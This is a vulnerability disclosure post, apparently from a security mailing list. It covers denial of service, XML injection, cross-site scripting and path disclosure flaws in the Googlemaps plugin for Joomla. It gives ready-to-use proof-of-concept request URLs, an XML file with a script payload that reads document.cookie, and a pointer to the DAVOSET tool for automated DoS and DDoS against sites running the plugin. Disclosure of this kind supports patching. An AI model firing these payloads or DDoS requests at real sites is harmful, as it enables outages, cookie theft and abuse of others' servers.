Joomla Googlemaps XSS / XML Injection / Path Disclosure / DoS

Change Mirror Download
Hello list!

These are Denial of Service, XML Injection, Cross-Site Scripting and Full
path disclosure vulnerabilities in Googlemaps plugin for Joomla.

-------------------------
Affected products:
-------------------------

Vulnerable are Googlemaps plugin for Joomla versions 2.x and 3.x and
potentially previous versions. In new version of DAVOSET I'll add a lot of
web sites with Googlemaps plugin.

Denial of Service (WASC-10):

http://site/plugins/content/plugin_googlemap2_proxy.php?url=site2/large_file

Besides conducting DoS attack manually, it's also possible to conduct
automated DoS and DDoS attacks with using of DAVOSET
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2013-June/008850.html).

XML Injection (WASC-23):

http://site/plugins/content/plugin_googlemap2_proxy.php?url=site2/xml.xml

It's possible to include external xml-files. Which also can be used for XSS
attack:

XSS via XML Injection (WASC-23):

http://site/plugins/content/plugin_googlemap2_proxy.php?url=site2/xss.xml

File xss.xml:

<?xml version="1.0" encoding="utf-8"?>
<feed>
<title>XSS</title>
<entry>
<div
xmlns="http://www.w3.org/1999/xhtml"><script>alert(document.cookie)</script></div>
</entry>
</feed>

Cross-Site Scripting (WASC-08):

http://site/plugins/content/plugin_googlemap2_proxy.php?url=%3Cbody%20onload=alert(document.cookie)%3E

Full path disclosure (WASC-13):

http://site/plugins/content/plugin_googlemap2_proxy.php

Besides plugin_googlemap2_proxy.php, also happens
plugin_googlemap3_proxy.php (but it has other path at web sites).
